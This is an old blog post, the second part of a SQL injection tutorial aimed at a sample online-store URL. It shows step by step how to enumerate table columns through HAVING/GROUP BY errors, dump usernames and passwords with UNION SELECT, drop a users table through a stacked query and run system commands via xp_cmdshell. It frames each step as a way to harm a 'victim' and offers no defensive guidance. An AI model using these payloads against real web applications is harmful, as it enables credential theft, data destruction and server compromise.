Monday, April 10, 2006

SQL Injection - Part 2

In part 1, we discussed a simple methodology in using SQL injection to break a security point in web applications. Actually, this was the simplest way. As you know more about the generated errors of the different database engines, you will do better with SQL injection.

Some methods of SQL injection, depends on how you can inject some SQL statement in the page parameters, to gain usefull errors! .. So funny, aha! Actually, these errors gives you some usefull information about the inner structure of the victim database. This will help in making greater destruction!

One of the SQL injection methods is to concatenating "Having" statement in your query string. As we know, "Having" is used alwayes with "Group by" statement to inforce some condition on the grouping SQL statement. But if the "Having" is inserted in a sql statement without "Group By" we get a horrible error!

Suppose we have web page which displays products for a certain category. For example, our page url is something like that:


http://online-store.com/products.aspx?catID=1

The previous url will get all the products of the category that have ID = 1. Now, lets playing with this url and make the following trick:


http://online-store.com/products.aspx?catID=1 having 1=1 --

When submitting the previous url, the resulting page will display an error like that:


Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column
'products.ID' is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.

/products.aspx, line 24
SQL Server tried to execute the following SQL statement after injecting our "Having":


select * from products where catID=1 having 1=1 --

As you see, we have "Having" without "Group By". And in a SQL statement with "Group By" and "Having", all the columns after "SELECT" should be in the "Group By" clause. So, the db engine didn't find the first column which is "products.ID" in the "Group By" clause and throw this error.

Actually, we got two usefull infomration from this later error. The table name - "Products" and a column on it - "ID" column.

Now, Try to add the "ID" column after a "Group By" clause in the url:


http://online-store.com/products.aspx?catID=1 Group By ID having 1=1 --

You get the following error:


Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column
'products.Name' is invalid in the select list because it is not contained in an
aggregate function and there is no GROUP BY clause.

/products.asp, line 24

You got the idea, aha! .. You have now another column name in the table. You just go on with this trick until you got all the table columns!

Suppose, now you discovered that the "Products" table contains only 3 columns "ID", "Name", and "Description". And on a way or another you got that the site users are stored in a table called "users". Well, try to make the following trick. Inject a UNION statement in your url so that, you view products data followed by users data. Cool, isn't it?!


http://online-store.com/products.aspx?catID=1 UNION SELECT 1, username, password FROM users --

Now, you got a list of the products, followed by all the site users with their passwords!

Actually, you can be more destructive by executing some harming SQL statements. For example, you can make something like that:


http://online-store.com/products.aspx?catID=1; drop table users;

Some database engines like SQL Server support such kind of SQL queries. You execute two or more queries in one time. Now, your victim loses his users table!

Also, you may execute some built-in stored procedures which exists in SQL server:


http://online-store.com/products.aspx?catID=1; exec master..xp_cmdshell
'iisreset'; --

This was a short tour in exploring SQL injection.


References

0 comments: